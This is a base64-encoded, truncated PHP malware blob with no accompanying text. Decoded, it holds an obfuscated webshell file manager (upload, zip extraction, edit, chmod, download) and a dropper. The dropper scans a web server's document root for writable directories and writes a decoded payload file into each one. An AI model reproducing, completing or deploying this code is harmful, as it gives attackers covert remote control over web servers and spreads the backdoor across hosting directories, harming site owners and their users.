G5JajRLQ1FrSkNRa0pDUWtKQ1NjdUpHUmZMaWNLQ1FrSkNRa0pDUWtuTGlSalh6c0tDUWtKQ1FscFppaHBjM05sZENna1gxQlBVMVJiSW5JaVhTa3BJSHNLQ1FrSkNRa0phV1lvSkVkT1Nsc3lObDBvSkY5UVQxTlVXeUp5SWwwcEtTQjdDZ2tKQ1FrSkNRbEZVaWdwT3dvSkNRa0pDUWw5Q2drSkNRa0pDV1ZzYzJVZ2V3b0pDUWtKQ1FrSmFXWW9KRWRPU2xzeU4xMG9kV2hsZUNna1gwZEZWRnNpY2lKZEtTd2dKRjlRVDFOVVd5SnlJbDBwS1NCN0Nna0pDUWtKQ1FrSlQwc29LVHNLQ1FrSkNRa0pDWDBLQ1FrSkNRa0pDV1ZzYzJVZ2V3b0pDUWtKQ1FrSkNVVlNLQ2s3Q2drSkNRa0pDUWw5Q2drSkNRa0pDU0FnZlFvSkNRa0pDU0FnSUgwS0NRa0pDUWw5Q2drSkNRa0paV3h6WldsbUtHbHpjMlYwS0NSZlIwVlVXeUo2SWwwcEtTQjdDZ2tKQ1FrSkNTUjZhWEFnUFNCdVpYY2dXbWx3UVhKamFHbDJaVHNLQ1FrSkNRa0pKSEpsY3lBOUlDUjZhWEF0UG05d1pXNG9kV2hsZUNna1gwZEZWRnNpZWlKZEtTazdDZ2tKQ1FrSkNRbHBaaWdrY21WeklEMDlQU0JVVWxWRktTQjdDZ2tKQ1FrSkNRa0pKSHBwY0MwK1pYaDBjbUZqZEZSdktIVm9aWGdvSkY5SFJWUmJJbVFpWFNrcE93b0pDUWtKQ1FrSkNTUjZhWEF0UG1Oc2IzTmxLQ2s3Q2drSkNRa0pDUWtKVDBzb0tUc0tDUWtKQ1FrSkNYMGdaV3h6WlNCN0Nna0pDUWtKQ1FrSlJWSW9LVHNLQ1FrSkNRa0pJQ0I5Q2drSkNRa0pmUW9KQ1FrSkNXVnNjMlVnZXdvSkNRa0pDV1ZqYUc4Z0p6eDBZV0pzWlNCalpXeHNjM0JoWTJsdVp6MGlNQ0lnWTJWc2JIQmhaR1JwYm1jOUlqY2lJSGRwWkhSb1BTSXhNREFsSWo0S0NRa0pDUWtKUEhSb1pXRmtQZ29KQ1FrSkNRa0pQSFJ5UGdvSkNRa0pDUWtKQ1R4MGFDQjNhV1IwYUQwaU5EUWxJajViSUU1QlRVVWdYVHd2ZEdnK0Nna0pDUWtKQ1FrSlBIUm9JSGRwWkhSb1BTSXhNU1VpUGxzZ1UwbGFSU0JkUEM5MGFENEtDUWtKQ1FrSkNRazhkR2dnZDJsa2RHZzlJakUzSlNJK1d5QlFSVkpOSUYwOEwzUm9QZ29KQ1FrSkNRa0pDVHgwYUNCM2FXUjBhRDBpTVRjbElqNWJJRVJCVkVVZ1hUd3ZkR2crQ2drSkNRa0pDUWtKUEhSb0lIZHBaSFJvUFNJeE1TVWlQbHNnUVVOVUlGMDhMM1JvUGdvSkNRa0pDUWtKUEM5MGNqNEtDUWtKQ1FrSlBDOTBhR1ZoWkQ0S0NRa0pDUWtKUEhSaWIyUjVQZ29KQ1FrSkNRa0pQSFJ5UGdvSkNRa0pDUWtKQ1R4MFpENEtDUWtKQ1FrSkNRa0pQR0VnWTJ4aGMzTTlJbUZxZUNJZ2FISmxaajBpUDJROUp5NW9aWGdvSkdRcExpY21iaUkrSzBaSlRFVThMMkUrQ2drSkNRa0pDUWtKQ1R4aElHTnNZWE56UFNKaGFuZ2lJR2h5WldZOUlqOWtQU2N1YUdWNEtDUmtLUzRuSm13aVBpdEVTVkk4TDJFK0Nna0pDUWtKQ1FrSlBDOTBaRDRLQ1FrSkNRa0pDVHd2ZEhJK0Nna0pDUWtKQ1NjN0Nnb0pDUWtKQ1FrSkpHZ2dQU0FpSWpzS0NRa0pDUWtKQ1NScUlEMGdJaUk3Q2drSkNRa0pDUWtrZHlBOUlDUkhUa3BiTVROZEtDUmtLVHNLQ1FrSkNRa0pDV2xtS0NSSFRrcGJNamhkS0NSM0tTQjhmQ0FrUjA1S1d6STVYU2drZHlrcElIc0tDUWtKQ1FrSkNXWnZjbVZoWTJnb0pIY2dZWE1nSkdNcGV3b0pDUWtKQ1FrSkNTUmxJRDBnSkVkT1Nsc3hORjBvSWx4Y0lpd2dJaThpTENBa1pDazdDZ2tKQ1FrSkNRa0phV1lvSVNSSFRrcGJNekJkS0NSakxDQWlMbnBwY0NJcEtTQjdDZ2tKQ1FrSkNRa0pDU1I2YVNBOUlDY25Pd29KQ1FrSkNRa0pDWDBLQ1FrSkNRa0pDUWxsYkhObElIc0tDUWtKQ1FrSkNRa0pKSHBwSUQwZ0p6eGhJR2h5WldZOUlqOWtQU2N1YUdWNEtDUmxLUzRuSm5vOUp5NW9aWGdvSkdNcExpY2lQbFU4TDJFK0p6c0tDUWtKQ1FrSkNRbDlDZ2tKQ1FrSkNRa0phV1lvSkVkT1Nsc3pNVjBvSWlSa0x5UmpJaWtwSUhzS0NRa0pDUWtKQ1FrSkNTUnZJRDBnSWlJN0Nna0pDUWtKQ1FrSmZRb0pDUWtKQ1FrSkNXVnNjMlZwWmlnaEpFZE9TbHN6TWwwb0lpUmtMeVJqSWlrcElIc0tDUWtKQ1FrSkNRa0pDU1J2SUQwZ0lpQm9JanNLQ1FrSkNRa0pDUWw5Q2drSkNRa0pDUWtKWld4elpTQjdDZ2tKQ1FrSkNRa0pDUWtrYnlBOUlDSWdkeUk3Q2drSkNRa0pDUWtKZlFvSkNRa0pDUWtKQ1NSeklEMGdKRWRPU2xzek5GMG9JaVJrTHlSaklpa2dMeUF4TURJME93b0pDUWtKQ1FrSkNTUnpJRDBnY205MWJtUW9KSE1zSURNcE93b0pDUWtKQ1FrSkNXbG1LQ1J6UGoweE1ESTBLU0I3SUFvSkNRa0pDUWtKQ1Fra2N5QTlJSEp2ZFc1a0tDUnpMekV3TWpRc0lESXBJQzRnSWlCTlFpSTdDZ2tKQ1FrSkNRa0pmU0JsYkhObElIc0tDUWtKQ1FrSkNRa0pKSE1nUFNBa2N5QXVJQ0lnUzBJaU93b0pDUWtKQ1FrSkNYMEtDUWtKQ1FrSkNXbG1LQ2drWXlBaFBTQWlMaUlwSUNZbUlDZ2tZeUFoUFNBaUxpNGlLU2w3Q2drSkNRa0pDUWtKS0NSSFRrcGJPRjBvSWlSa0x5UmpJaWtwSUQ4S0NRa0pDUWtKQ1Fra2FDQXVQU0FuUEhSeUlHTnNZWE56UFNKeUlqNEtDUWtKQ1FrSkNUeDBaRDRLQ1FrSkNRa0pDUWs4YVNCamJHRnpjejBpWm1GeUlHWmhMV1p2YkdSbGNpQnRJajQ4TDJrK0Nna0pDUWtKQ1FrSlBHRWdZMnhoYzNNOUltRnFlQ0lnYUhKbFpqMGlQMlE5Snk1b1pYZ29KR1VwTG1obGVDZ2lMeUl1SkdNcExpY2lQaWN1SkdNdUp6d3ZZVDRLQ1FrSkNRa0pDVHd2ZEdRK0Nna0pDUWtKQ1FrOGRHUWdZMnhoYzNNOUluZ2lQZ29KQ1FrSkNRa0pDV1JwY2dvSkNRa0pDUWtKUEM5MFpENEtDUWtKQ1FrSkNUeDBaQ0JqYkdGemN6MGllQ0krQ2drSkNRa0pDUWtKUEdFZ1kyeGhjM005SW1GcWVDY3VKRzh1SnlJZ2FISmxaajBpUDJROUp5NW9aWGdvSkdVcExpY21hejBuTG1obGVDZ2tZeWt1SnlJK0p5NTRLQ0lrWkM4a1l5SXBMaWM4TDJFK0Nna0pDUWtKQ1FrOEwzUmtQZ29KQ1FrSkNRa0pQSFJrSUdOc1lYTnpQU0o0SWo0S0NRa0pDUWtKQ1FrOFlTQmpiR0Z6Y3owaVlXcDRJaUJvY21WbVBTSS9aRDBuTG1obGVDZ2taU2t1SnlaMFBTY3VhR1Y0S0NSaktTNG5JajRuTGlSSFRrcGJNakJkS0NKWkxXMHRaQ0JJT21raUxDQWtSMDVLV3pJeFhTZ2lKR1F2SkdNaUtTa3VKend2WVQ0S0NRa0pDUWtKQ1R3dmRHUStDZ2tKQ1FrSkNRazhkR1FnWTJ4aGMzTTlJbmdpUGdvSkNRa0pDUWtKQ1R4aElHTnNZWE56UFNKaGFuZ2lJR2h5WldZOUlqOWtQU2N1YUdWNEtDUmxLUzRuSm5JOUp5NW9aWGdvSkdNcExpY2lQbEk4TDJFK0Nna0pDUWtKQ1FrSlBHRWdhSEpsWmowaVAyUTlKeTVvWlhnb0pHVXBMaWNtZUQwbkxtaGxlQ2drWXlrdUp5SStSRHd2WVQ0S0NRa0pDUWtKQ1R3dmRHUStDZ2tKQ1FrSkNUd3ZkSEkrQ2drSkNRa0pDUW9KQ1FrSkNRa25DZ2tKQ1FrSkNRazZDZ2tKQ1FrSkNRa0pKR29nTGowZ0p6eDBjaUJqYkdGemN6MGljaUkrQ2drSkNRa0pDUWs4ZEdRK0Nna0pDUWtKQ1FrSlBHa2dZMnhoYzNNOUltWmhjaUJtWVMxbWFXeGxJRzBpUGp3dmFUNG1kR2hwYm5Od093b0pDUWtKQ1FrSkNUeGhJR05zWVhOelBTSmhhbmdpSUdoeVpXWTlJajlrUFNjdWFHVjRLQ1JsS1M0bkpuTTlKeTVvWlhnb0pHTXBMaWNpUGljdUpHTXVKend2WVQ0S0NRa0pDUWtKQ1R3dmRHUStDZ2tKQ1FrSkNRazhkR1FnWTJ4aGMzTTlJbmdpUGdvSkNRa0pDUWtKQ1NjdUpITXVKd29KQ1FrSkNRa0pQQzkwWkQ0S0NRa0pDUWtKQ1R4MFpDQmpiR0Z6Y3owaWVDSStDZ2tKQ1FrSkNRa0pQR0VnWTJ4aGMzTTlJbUZxZUNjdUpHOHVKeUlnYUhKbFpqMGlQMlE5Snk1b1pYZ29KR1VwTGljbWF6MG5MbWhsZUNna1l5a3VKeUkrSnk1NEtDSWtaQzhrWXlJcExpYzhMMkUrQ2drSkNRa0pDUWs4TDNSa1Bnb0pDUWtKQ1FrSlBIUmtJR05zWVhOelBTSjRJajRLQ1FrSkNRa0pDUWs4WVNCamJHRnpjejBpWVdwNElpQm9jbVZtUFNJL1pEMG5MbWhsZUNna1pTa3VKeVowUFNjdWFHVjRLQ1JqS1M0bklqNG5MaVJIVGtwYk1qQmRLQ0paTFcwdFpDQklPbWtpTENBa1IwNUtXekl4WFNnaUpHUXZKR01pS1NrdUp6d3ZZVDRLQ1FrSkNRa0pDVHd2ZEdRK0Nna0pDUWtKQ1FrOGRHUWdZMnhoYzNNOUluZ2lQZ29KQ1FrSkNRa0pDVHhoSUdOc1lYTnpQU0poYW5naUlHaHlaV1k5SWo5a1BTY3VhR1Y0S0NSbEtTNG5Kbkk5Snk1b1pYZ29KR01wTGljaVBsSThMMkUrQ2drSkNRa0pDUWtKUEdFZ1kyeGhjM005SW1GcWVDSWdhSEpsWmowaVAyUTlKeTVvWlhnb0pHVXBMaWNtWlQwbkxtaGxlQ2drWXlrdUp5SStSVHd2WVQ0S0NRa0pDUWtKQ1FrOFlTQm9jbVZtUFNJL1pEMG5MbWhsZUNna1pTa3VKeVpuUFNjdWFHVjRLQ1JqS1M0bklqNUhQQzloUGdvSkNRa0pDUWtKQ1NjdUpIcHBMaWNLQ1FrSkNRa0pDUWs4WVNCb2NtVm1QU0kvWkQwbkxtaGxlQ2drWlNrdUp5WjRQU2N1YUdWNEtDUmpLUzRuSWo1RVBDOWhQZ29KQ1FrSkNRa0pQQzkwWkQ0S0NRa0pDUWtKUEM5MGNqNEtDUWtKQ1FrSkNna0pDUWtKQ1NjN0Nnb0pDUWtKQ1FrSmZRb0pDUWtKQ1FsOUNna0pDUWtKZlFvS0NRa0pDUWtKWldOb2J5QWthRHNLQ1FrSkNRa0paV05vYnlBa2Fqc0tDUWtKQ1FrSlpXTm9ieUFuUEM5MFltOWtlVDRLQ1FrSkNRa0pQSFJtYjI5MFBnb0pDUWtKQ1FrSlBIUnlQZ29KQ1FrSkNRa0pDVHgwYUNCamJHRnpjejBpWlhRaVBnb0pDUWtKQ1FrSkNRazhZU0JqYkdGemN6MGlZV3A0SWlCb2NtVm1QU0kvWkQwbkxtaGxlQ2drWlNrdUp5WjVJajVTUlZGVlJWTlVQQzloUGdvSkNRa0pDUWtKQ1FrOFlTQm9jbVZtUFNJL1pEMG5MbWhsZUNna1pTa3VKeVp4SWo1RldFbFVQQzloUGdvSkNRa0pDUWtKQ1R3dmRHZytDZ2tKQ1FrSkNRa0pQSFJvSUdOc1lYTnpQU0psZENJZ2QybGtkR2c5SWpFeEpTSStQQzkwYUQ0S0NRa0pDUWtKQ1FrOGRHZ2dZMnhoYzNNOUltVjBJaUIzYVdSMGFEMGlNVGNsSWo0OEwzUm9QZ29KQ1FrSkNRa0pDVHgwYUNCamJHRnpjejBpWlhRaUlIZHBaSFJvUFNJeE55VWlQand2ZEdnK0Nna0pDUWtKQ1FrSlBIUm9JR05zWVhOelBTSmxkQ0lnZDJsa2RHZzlJakV4SlNJK1BDOTBhRDRLQ1FrSkNRa0pDVHd2ZEhJK0Nna0pDUWtKUEM5MFptOXZkRDRLQ1FrSkNUd3ZkR0ZpYkdVK0p6c0tDUWtKQ1FsOUNna0pDUWtKUHo0S0Nna0pDVHd2WVhKMGFXTnNaVDRLQ1FrSlBHWnZiM1JsY2lCamJHRnpjejBpZUNJK0Nna0pDUWttWTI5d2VUdFVhR1ZCYkcxcFoyaDBlVnBsZFhNS0NRa0pQQzltYjI5MFpYSStDZ2tKQ1R3L2NHaHdDZ2tKQ1dsbUtHbHpjMlYwS0NSZlIwVlVXeUl4SWwwcEtTQjdDZ2tKQ1FsbFkyaHZJQ1JtT3dvSkNRbDlDZ2tKQ1dWc2MyVnBaaWhwYzNObGRDZ2tYMGRGVkZzaU1DSmRLU2tnZXdvSkNRa0paV05vYnlBa1p6c0tDUWtKZlFvSkNRbGxiSE5sSUhzS0NRa0pDVTVWVEV3N0Nna0pDWDBLQ1FrSlB6NEtDZ2tKQ1R4elkzSnBjSFErQ2drSkNRa2tLQ0l1WVdwNElpa3VZMnhwWTJzb1puVnVZM1JwYjI0b2RDbDdkQzV3Y21WMlpXNTBSR1ZtWVhWc2RDZ3BPM1poY2lCbFBTUW9kR2hwY3lrdVlYUjBjaWdpYUhKbFppSXBPMmhwYzNSdmNua3VjSFZ6YUZOMFlYUmxLQ0lpTENJaUxHVXBMQ1F1WjJWMEtHVXNablZ1WTNScGIyNG9kQ2w3SkNnaVltOWtlU0lwTG1oMGJXd29kQ2w5S1gwcE93b0pDUWs4TDNOamNtbHdkRDRLQ1FrOEwySnZaSGsrQ2drOEwyaDBiV3crQ2p3L2NHaHdDZ2xtZFc1amRHbHZiaUJ5WldNb0pHb3BJSHNLQ1FsbmJHOWlZV3dnSkVkT1Nqc0tDUWxwWmloMGNtbHRLSEJoZEdocGJtWnZLQ1JxTENCUVFWUklTVTVHVDE5Q1FWTkZUa0ZOUlNBcExDQW5MaWNwSUQwOVBTQW5KeWtnZXdvSkNRbHlaWFIxY200N0Nna0pmUW9KQ1dsbUtDUkhUa3BiT0Ywb0pHb3BLU0I3Q2drSkNXRnljbUY1WDIxaGNDZ25jbVZqSnl3Z1oyeHZZaWdrYWlBdUlFUkpVa1ZEVkU5U1dWOVRSVkJCVWtGVVQxSWdMaUFuZXl3dWZTb25MQ0JIVEU5Q1gwSlNRVU5GSUh3Z1IweFBRbDlPVDFOUFVsUXBLVHNLQ1FrSkpFZE9TbHN6TlYwb0pHb3BPd29KQ1gwS0NRbGxiSE5sSUhzS0NRa0pKRWRPU2xzeE1GMG9KR29wT3dvSkNYMEtDWDBLQ1daMWJtTjBhVzl1SUdSeVpTZ2tlVEVzSUNSNU1pa2dld29KQ1dkc2IySmhiQ0FrUjA1S093b0pDVzlpWDNOMFlYSjBLQ2s3Q2drSkpFZE9TbHN4Tmwwb0pIa3hLQ1I1TWlrcE93b0pDWEpsZEhWeWJpQWtSMDVLV3pNMlhTZ3BPd29KZlFvSlpuVnVZM1JwYjI0Z2FHVjRLQ1J1S1NCN0Nna0pKSGs5SnljN0Nna0pabTl5SUNna2FUMHdPeUFrYVNBOElITjBjbXhsYmlna2JpazdJQ1JwS3lzcGV3b0pDUWtrZVNBdVBTQmtaV05vWlhnb2IzSmtLQ1J1V3lScFhTa3BPd29KQ1gwS0NRbHlaWFIxY200Z0pIazdDZ2w5Q2dsbWRXNWpkR2x2YmlCMWFHVjRLQ1I1S1NCN0Nna0pKRzQ5SnljN0Nna0pabTl5SUNna2FUMHdPeUFrYVNBOElITjBjbXhsYmlna2VTa3RNVHNnSkdrclBUSXBld29KQ1Fra2JpQXVQU0JqYUhJb2FHVjRaR1ZqS0NSNVd5UnBYUzRrZVZza2FTc3hYU2twT3dvSkNYMEtDUWx5WlhSMWNtNGdKRzQ3Q2dsOUNnbG1kVzVqZEdsdmJpQlBTeWdwSUhzS0NRbG5iRzlpWVd3Z0pFZE9TaXdnSkdRN0Nna0pKRWRPU2xzek9GMG9KRWRPU2xzNVhTazdDZ2tKYUdWaFpHVnlLQ0pNYjJOaGRHbHZiam9nUDJROUlpNW9aWGdvSkdRcExpSW1NU0lwT3dvSkNXVjRhWFFvS1RzS0NYMEtDV1oxYm1OMGFXOXVJRVZTS0NrZ2V3b0pDV2RzYjJKaGJDQWtSMDVLTENBa1pEc0tDUWtrUjA1S1d6TTRYU2drUjA1S1d6bGRLVHNLQ1Fsb1pXRmtaWElvSWt4dlkyRjBhVzl1T2lBL1pEMGlMbWhsZUNna1pDa3VJaVl3SWlrN0Nna0paWGhwZENncE93b0pmUW9KWm5WdVkzUnBiMjRnZUNna1l5a2dld29KQ1dkc2IySmhiQ0FrUjA1S093b0pDU1I0SUQwZ0pFZE9TbHN5TkYwb0pHTXBPd29KQ1dsbUtDZ2tlQ0FtSURCNFF6QXdNQ2tnUFQwZ01IaERNREF3S1NCN0Nna0pDU1IxSUQwZ0luTWlPd29KQ1gwS0NRbGxiSE5sYVdZb0tDUjRJQ1lnTUhoQk1EQXdLU0E5UFNBd2VFRXdNREFwSUhzS0NRa0pKSFVnUFNBaWJDSTdDZ2tKZlFvSkNXVnNjMlZwWmlnb0pIZ2dKaUF3ZURnd01EQXBJRDA5SURCNE9EQXdNQ2tnZXdvSkNRa2tkU0E5SUNJdElqc0tDUWw5Q2drSlpXeHpaV2xtS0Nna2VDQW1JREI0TmpBd01Da2dQVDBnTUhnMk1EQXdLU0I3Q2drSkNTUjFJRDBnSW1JaU93b0pDWDBLQ1FsbGJITmxhV1lvS0NSNElDWWdNSGcwTURBd0tTQTlQU0F3ZURRd01EQXBJSHNLQ1FrSkpIVWdQU0FpWkNJN0Nna0pmUW9KQ1dWc2MyVnBaaWdvSkhnZ0ppQXdlREl3TURBcElEMDlJREI0TWpBd01Da2dld29KQ1Fra2RTQTlJQ0pqSWpzS0NRbDlDZ2tKWld4elpXbG1LQ2drZUNBbUlEQjRNVEF3TUNrZ1BUMGdNSGd4TURBd0tTQjdDZ2tKQ1NSMUlEMGdJbkFpT3dvSkNYMEtDUWxsYkhObElIc0tDUWtKSkhVZ1BTQWlkU0k3Q2drSmZRb0pDU1IxSUM0OUlDZ29KSGdnSmlBd2VEQXhNREFwSUQ4Z0luSWlJRG9nSWkwaUtUc0tDUWtrZFNBdVBTQW9LQ1I0SUNZZ01IZ3dNRGd3S1NBL0lDSjNJaUE2SUNJdElpazdDZ2tKSkhVZ0xqMGdLQ2drZUNBbUlEQjRNREEwTUNrZ1B5QW9LQ1I0SUNZZ01IZ3dPREF3S1NBL0lDSnpJaUE2SUNKNElpa2dPaUFvS0NSNElDWWdNSGd3T0RBd0tTQS9JQ0pUSWlBNklDSXRJaWtwT3dvSkNTUjFJQzQ5SUNnb0pIZ2dKaUF3ZURBd01qQXBJRDhnSW5JaUlEb2dJaTBpS1RzS0NRa2tkU0F1UFNBb0tDUjRJQ1lnTUhnd01ERXdLU0EvSUNKM0lpQTZJQ0l0SWlrN0Nna0pKSFVnTGowZ0tDZ2tlQ0FtSURCNE1EQXdPQ2tnUHlBb0tDUjRJQ1lnTUhnd05EQXdLU0EvSUNKeklpQTZJQ0o0SWlrZ09pQW9LQ1I0SUNZZ01IZ3dOREF3S1NBL0lDSlRJaUE2SUNJdElpa3BPd29KQ1NSMUlDNDlJQ2dvSkhnZ0ppQXdlREF3TURRcElEOGdJbklpSURvZ0lpMGlLVHNLQ1Fra2RTQXVQU0FvS0NSNElDWWdNSGd3TURBeUtTQS9JQ0ozSWlBNklDSXRJaWs3Q2drSkpIVWdMajBnS0Nna2VDQW1JREI0TURBd01Ta2dQeUFvS0NSNElDWWdNSGd3TWpBd0tTQS9JQ0owSWlBNklDSjRJaWtnT2lBb0tDUjRJQ1lnTUhnd01qQXdLU0EvSUNKVUlpQTZJQ0l0SWlrcE93b0pDWEpsZEhWeWJpQWtkVHNLQ1gwS0NXbG1LR2x6YzJWMEtDUmZSMFZVV3lKbklsMHBLU0I3Q2drSkpFZE9TbHN6T0Ywb0pFZE9TbHM1WFNrN0Nna0phR1ZoWkdWeUtDSkRiMjUwWlc1MExWUjVjR1U2SUdGd2NHeHBZMkYwYVc5dUwyOWpkR1YwTFhOMGNtVmhiU0lwT3dvSkNXaGxZV1JsY2lnaVEyOXVkR1Z1ZEMxVWNtRnVjMlpsY2kxRmJtTnZaR2x1WnpvZ1FtbHVZWEo1SWlrN0Nna0phR1ZoWkdWeUtDSkRiMjUwWlc1MExVeGxibWQwYURvZ0lpNGtSMDVLV3pNMFhTaDFhR1Y0S0NSZlIwVlVXeUpuSWwwcEtTazdDZ2tKYUdWaFpHVnlLQ0pEYjI1MFpXNTBMV1JwYzNCdmMybDBhVzl1T2lCaGRIUmhZMmh0Wlc1ME95Qm1hV3hsYm1GdFpUMWNJaUl1ZFdobGVDZ2tYMGRGVkZzaVp5SmRLUzRpWENJaUtUc0tDUWtrUjA1S1d6TTNYU2gxYUdWNEtDUmZSMFZVV3lKbklsMHBLVHNLQ1gwS1B6ND0iOwokcGF5bG9hZF9uYW1lID0gIiI7CgpzcmFuZCh0aW1lKCkpOwoKLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vCmZ1bmN0aW9uIGNvbXBhcmVyKCRhLCAkYikKewogICAgcmV0dXJuIHN0cmxlbigkYSktc3RybGVuKCRiKTsKfQoKaWYgKCFmdW5jdGlvbl9leGlzdHMoJ2ZpbGVfcHV0X2NvbnRlbnRzJykpIHsKICAgIGZ1bmN0aW9uIGZpbGVfcHV0X2NvbnRlbnRzKCRmaWxlbmFtZSwgJGRhdGEpIHsKICAgICAgICAkZiA9IEBmb3BlbigkZmlsZW5hbWUsICd3Jyk7CiAgICAgICAgaWYgKCEkZikgewogICAgICAgICAgICByZXR1cm4gZmFsc2U7CiAgICAgICAgfSBlbHNlIHsKICAgICAgICAgICAgJGJ5dGVzID0gZndyaXRlKCRmLCAkZGF0YSk7CiAgICAgICAgICAgIGZjbG9zZSgkZik7CiAgICAgICAgICAgIHJldHVybiAkYnl0ZXM7CiAgICAgICAgfQogICAgfQp9CgpmdW5jdGlvbiBHZXRQYXRoRGlmZigkYmFzZV9wYXRoLCAkZnVsbF9wYXRoKQp7CiAgICAkcG9zID0gc3RycG9zKCRmdWxsX3BhdGgsICRiYXNlX3BhdGgpOwoKICAgIGlmICgkcG9zID09PSBGQUxTRSkKICAgIHsKICAgICAgICByZXR1cm4gRkFMU0U7CiAgICB9CgogICAgcmV0dXJuIHN1YnN0cigkZnVsbF9wYXRoLCAkcG9zICsgc3RybGVuKCRiYXNlX3BhdGgpKTsKfQoKZnVuY3Rpb24gR2V0V3JpdGFibGVEaXJzKCkKewogICAgJHJlcyA9IEFycmF5KCk7CgogICAgJGFuYWx5c3lzX3F1ZXVlID0gQXJyYXkoKTsKCiAgICAkYW5hbHlzeXNfcXVldWVbXSA9IEdldERvY1Jvb3QoKTsKCiAgICAkc2VsZl9wYXRoID0gJF9TRVJWRVJbJ1NDUklQVF9GSUxFTkFNRSddOwogICAgd2hpbGUgKCgkc2xhc2ggPSBzdHJycG9zKCRzZWxmX3BhdGgsIERJUkVDVE9SWV9TRVBBUkFUT1IpKSAhPT0gRkFMU0UpCiAgICB7CiAgICAgICAgJHNlbGZfcGF0aCA9IHN1YnN0cigkc2VsZl9wYXRoLCAwLCAkc2xhc2gpOwoKICAgICAgICBpZiAoJHNlbGZfcGF0aCA9PSBHZXREb2NSb290KCkpCiAgICAgICAgewogICAgICAgICAgICBicmVhazsKICAgICAgICB9CgogICAgICAgIGlmIChzdHJsZW4oJHNlbGZfcGF0aCkpCiAgICAgICAgewogICAgICAgICAgICAkYW5hbHlzeXNfcXVldWVbXSA9ICRzZWxmX3BhdGg7CiAgICAgICAgfQogICAgfQoKICAgIGZvcmVhY2ggKCRhbmFseXN5c19xdWV1ZSBhcyAkY3VycmVudF9kaXIpCiAgICB7CiAgICAgICAgaWYgKCFpbl9hcnJheSgkY3VycmVudF9kaXIsICRyZXMpKQogICAgICAgIHsKICAgICAgICAgICAgJHJlcyA9IGFycmF5X21lcmdlKCRyZXMsIEdldERpcmVjdG9yeUxpc3QoJGN1cnJlbnRfZGlyKSk7CiAgICAgICAgfQogICAgfQogICAgJHJlcyA9IGFycmF5X21lcmdlKCRhbmFseXN5c19xdWV1ZSwgJHJlcyk7CgogICAgcmV0dXJuIENoZWNrV3JpdGFibGUoYXJyYXlfdW5pcXVlKCRyZXMpKTsKfQoKZnVuY3Rpb24gQ2hlY2tXcml0YWJsZSgkZGlyX2xpc3QpCnsKICAgICRkaXJfbGlzdF93cml0YWJsZSA9IEFycmF5KCk7CgogICAgZm9yZWFjaCAoJGRpcl9saXN0IGFzICRkaXIpCiAgICB7CiAgICAgICAgaWYgKEBpc193cml0YWJsZSgkZGlyKSA9PSBUUlVFKQogICAgICAgIHsKICAgICAgICAgICAgJGRpcl9saXN0X3dyaXRhYmxlW10gPSAkZGlyOwogICAgICAgIH0KICAgIH0KCiAgICByZXR1cm4gJGRpcl9saXN0X3dyaXRhYmxlOwp9CgpmdW5jdGlvbiBHZXREaXJlY3RvcnlMaXN0KCRkaXIsICRkZXB0aD0xMDAwKQp7CgogICAgJHJlc3VsdCA9IGFycmF5KCk7CiAgICAkZGlyX2NvdW50ID0gMDsKCiAgICBpZiAoJGRlcHRoID09IDApCiAgICB7CiAgICAgICAgcmV0dXJuICRyZXN1bHQ7CiAgICB9CgogICAgJGRpciA9IHN0cmxlbigkZGlyKSA9PSAxID8gJGRpciA6IHJ0cmltKCRkaXIsICdcXC8nKTsKICAgICRoID0gQG9wZW5kaXIoJGRpcik7CiAgICBpZiAoJGggPT09IEZBTFNFKQogICAgewogICAgICAgIHJldHVybiAkcmVzdWx0OwogICAgfQoKICAgIHdoaWxlICgoJGYgPSByZWFkZGlyKCRoKSkgIT09IEZBTFNFKQogICAgewogICAgICAgIGlmICgkZiAhPT0gJy4nIGFuZCAkZiAhPT0gJy4uJykKICAgICAgICB7CiAgICAgICAgICAgICRjdXJyZW50X2RpciA9ICIkZGlyLyRmIjsKICAgICAgICAgICAgaWYgKGlzX2RpcigkY3VycmVudF9kaXIpKQogICAgICAgICAgICB7CiAgICAgICAgICAgICAgICAkZGlyX2NvdW50ICs9IDE7CgogICAgICAgICAgICAgICAgaWYgKCRkaXJfY291bnQgPj0gJGRlcHRoKQogICAgICAgICAgICAgICAgewogICAgICAgICAgICAgICAgICAgIGJyZWFrOwogICAgICAgICAgICAgICAgfQoKICAgICAgICAgICAgICAgICRyZXN1bHRbXSA9ICRjdXJyZW50X2RpcjsKICAgICAgICAgICAgICAgICRyZXN1bHQgPSBhcnJheV9tZXJnZSgkcmVzdWx0LCBHZXREaXJlY3RvcnlMaXN0KCRjdXJyZW50X2RpciwgJGRlcHRoIC8gMTApKTsKICAgICAgICAgICAgfQogICAgICAgIH0KICAgIH0KCiAgICBjbG9zZWRpcigkaCk7CgogICAgcmV0dXJuICRyZXN1bHQ7Cn0KCmZ1bmN0aW9uIEdldERvY1Jvb3QoKQp7CiAgICAkZG9jcm9vdF9lbmQgPSBzdHJycG9zKCRfU0VSVkVSWydTQ1JJUFRfRklMRU5BTUUnXSwgJF9TRVJWRVJbJ1JFUVVFU1RfVVJJJ10pOwogICAgaWYgKCRkb2Nyb290X2VuZCA9PT0gRkFMU0UpCiAgICB7CiAgICAgICAgcmV0dXJuICRfU0VSVkVSWydET0NVTUVOVF9ST09UJ107CiAgICB9CiAgICBlbHNlaWYgKCRkb2Nyb290X2VuZCA9PT0gMCkKICAgIHsKICAgICAgICByZXR1cm4gIi8iOwogICAgfQogICAgZWxzZQogICAgewogICAgICAgIHJldHVybiBzdWJzdHIoJF9TRVJWRVJbJ1NDUklQVF9GSUxFTkFNRSddLCAwLCAkZG9jcm9vdF9lbmQpOwogICAgfQp9CgpmdW5jdGlvbiBHZXRQYXlsb2FkKCRwYXlsb2FkKQp7CiAgICAkY3VycmVudF9wYXlsb2FkID0gYmFzZTY0X2RlY29kZSgkcGF5bG9hZCk7CgogICAgcmV0dXJuICRjdXJyZW50X3BheWxvYWQ7Cn0KCmZ1bmN0aW9uIFdyaXRlUGF5bG9hZCgkcGF0aCwgJHBheWxvYWQpCnsKICAgIGlmICghZmlsZV9leGlzdHMoJHBhdGgpKQogICAgewogICAgICAgIGlmIChmaWxlX3B1dF9jb250ZW50cygkcGF0aCwgR2V0UGF5bG9hZCgkcGF5bG9hZCkpICE9IEZBTFNFKQogICAgICAgIHsKICAgICAgICAgICAgcmV0dXJuIFRSVUU7CiAgICAgICAgfQoKICAgIH0KCiAgICByZXR1cm4gRkFMU0U7Cn0KCi8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy